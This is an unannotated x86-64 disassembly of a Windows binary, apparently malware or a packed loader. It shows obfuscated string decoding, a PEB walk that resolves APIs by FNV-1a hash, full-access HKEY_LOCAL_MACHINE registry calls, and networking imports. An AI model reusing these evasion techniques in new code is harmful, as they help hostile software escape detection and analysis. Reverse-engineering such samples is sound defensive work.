cmp rdi, rax
jne 0x140202f1f
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140203234
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140203057
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x140202c26
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140203083
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x1402032c5
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1402030a0
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x140202c90
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140202f5a
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402033eb
jne 0x1402030f8
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x1402033eb
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140203122
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x1402031f8
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14020313f
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x14020320e
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020316a
movabs rcx, 0xbc30baa7306928c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x1402032ee
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140202d7d
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140202c26
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x6d0]
sub bl, al
sub bl, 0x50
jmp 0x140202c9d
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x6d0]
add bl, dl
jmp 0x140203366
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
add bl, dl
jmp 0x140203369
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140203336
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140203316
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402032c8
movabs rdx, 0xdc582daba1a1e692
mov ecx, esi
jmp 0x140202c26
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x36
add bl, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x6d0], cl
add r10, rsi
sub r9, rsi
jmp 0x1402033fa
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, bl
add r8b, cl
sub r8b, r14b
mov byte [rbp + r9 + 0x6d0], r8b
add rdi, r10
jmp 0x140203336
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1402033fa
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, cl
add bl, r8b
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x6d0], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x6d0], r8b
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1402033eb
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, r12b
movzx eax, byte [rbp + r9 + 0x6d0]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x1402028ed
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x1402028ea
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x1402028da
lea r12, [rbp + 0x145e478]
jmp 0x140203461
lea r12, [rbp + 0x136abb6]
jmp 0x140203461
lea r12, [rbp + 0x6d0]
mov r10, qword [0x1404dbc30]
test r10, r10
jne 0x1402035cb
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1402034dd
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1402034d0
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1402034c1
cmp edx, esi
jne 0x1402035af
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1402035af
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1402035af
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140203531
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140203526
cmp edx, r14d
je 0x140203547
test r10d, r10d
jne 0x140203511
jmp 0x1402035af
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1402035c4
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1402035c4
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1402035a2
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14020357e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x140203595
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1402035c1
cmp qword [rbx + 0x30], r13
jne 0x140203491
mov r10, r13
mov qword [0x1404dbc30], r10
mov qword [rsp + 0x40], r13
lea rax, [0x1404db4f8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404dbba8]
test rdx, rdx
jne 0x140203768
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r15d, 0x811c9dc5
test esi, esi
je 0x14020367e
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, r15d
jmp 0x140203670
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14020365f
cmp r8d, esi
jne 0x140203757
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140203757
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140203757
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, r15d
jmp 0x1402036d6
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x1402036c9
cmp r8d, r14d
je 0x1402036eb
test ebx, ebx
jne 0x1402036b7
jmp 0x140203757
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x14020375f
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14020375f
mov esi, r15d
mov r14d, r15d
jmp 0x140203728
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14020371a
jmp 0x14020373d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140203730
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14020362b
mov qword [0x1404dbba8], rdx
jmp 0x14020376e
mov r12d, 1
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404dbbe8]
test rbx, rbx
jne 0x1402038da
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1402037f1
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1402037e4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1402037d5
cmp edx, esi
jne 0x1402038be
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1402038be
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1402038be
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140203845
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14020383a
cmp edx, r14d
je 0x14020385b
test r11d, r11d
jne 0x140203825
jmp 0x1402038be
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x1402038d3
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1402038d3
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14020389d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14020388f
jmp 0x1402038b2
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x1402038a5
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1402038d0
cmp qword [rbx + 0x30], r13
jne 0x1402037a5
mov rbx, r13
mov qword [0x1404dbbe8], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404dbbe0]
test rdx, rdx
jne 0x140203a4c
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140203963
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140203956
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140203947
cmp edx, esi
jne 0x140203a30
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140203a30
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140203a30
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1402039b7
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1402039ac
cmp edx, r14d
je 0x1402039cd
test r11d, r11d
jne 0x140203997
jmp 0x140203a30
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140203a45
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140203a45
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140203a0f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140203a01
jmp 0x140203a24
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140203a17
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140203a42
cmp qword [rbx + 0x30], r13
jne 0x140203917
mov rdx, r13
mov qword [0x1404dbbe0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd8]
test rdx, rdx
jne 0x140203bb5
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140203acc
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140203abf
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140203ab0
cmp edx, esi
jne 0x140203b99
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140203b99
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140203b99
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140203b20
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140203b15
cmp edx, r14d
je 0x140203b36
test r11d, r11d
jne 0x140203b00
jmp 0x140203b99
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140203bae
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140203bae
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140203b78
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140203b6a
jmp 0x140203b8d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140203b80
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140203bab
cmp qword [rbx + 0x30], r13
jne 0x140203a80
mov rdx, r13
mov qword [0x1404dbbd8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd0]
test rdx, rdx
jne 0x140203d1e
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140203c35
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140203c28
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140203c19
cmp edx, esi
jne 0x140203d02
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140203d02
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140203d02
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140203c89
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140203c7e
cmp edx, r14d
je 0x140203c9f
test r11d, r11d
jne 0x140203c69
jmp 0x140203d02
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140203d17
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140203d17
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140203ce1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140203cd3
jmp 0x140203cf6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140203ce9
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140203d14
cmp qword [rbx + 0x30], r13
jne 0x140203be9
mov rdx, r13
mov qword [0x1404dbbd0], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404dbbc8], r13
jne 0x140203e86
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140203d9b
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140203d8e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140203d7f
cmp edx, esi
jne 0x140203e6a
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140203e6a
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140203e6a
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rdi]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140203def
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140203de4
cmp edx, r14d
je 0x140203e05
test r9d, r9d
jne 0x140203dcf
jmp 0x140203e6a
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x140203e7f
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x140203e7f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140203e47
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x140203e39
jmp 0x140203e5d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x140203e50
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140203e7c
cmp qword [rbx + 0x30], r13
jne 0x140203d4f
mov r9, r13
mov qword [0x1404dbbc8], r9
mov r8, qword [0x1404dbc00]
test r8, r8
jne 0x140203ef7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x140203edf
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140203ec3
cmp edx, 0x610c0de3
je 0x140203f48
mov r8, qword [r8]
cmp r8, r10
je 0x140203eed
cmp qword [r8 + 0x30], r13
jne 0x140203ea9
mov r8, r13
mov qword [0x1404dbc00], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x140203f43
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x140203f27
cmp ecx, 0xe463da3c
je 0x140203f4e
add r9d, r12d
jmp 0x140203f0b
mov r8, qword [r8 + 0x30]
jmp 0x140203ef0
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404dbbf8]
test r10, r10
jne 0x1402040da
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140203fee
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140203fe1
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140203fd2
cmp edx, esi
jne 0x1402040be
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1402040be
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1402040be
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140204042
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140204037
cmp edx, r14d
je 0x140204058
test r10d, r10d
jne 0x140204022
jmp 0x1402040be
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1402040d3
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1402040d3
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1402040b1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14020408d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x1402040a4
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1402040d0
cmp qword [rbx + 0x30], r13
jne 0x140203fa2
mov r10, r13
mov qword [0x1404dbbf8], r10
lea r9, [rbp + 0x11c4]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x1404dbbf0]
test r8, r8
jne 0x14020425a
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14020416e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140204161
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140204152
cmp edx, esi
jne 0x14020423e
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14020423e
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14020423e
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1402041c2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1402041b7
cmp edx, r14d
je 0x1402041d8
test r11d, r11d
jne 0x1402041a2
jmp 0x14020423e
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x140204253
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x140204253
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x140204231
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x14020420d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x140204224
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140204250
cmp qword [rbx + 0x30], r13
jne 0x140204122
mov r8, r13
mov qword [0x1404dbbf0], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov rbx, qword [0x1404dbbb0]
test rbx, rbx
jne 0x1402043dc
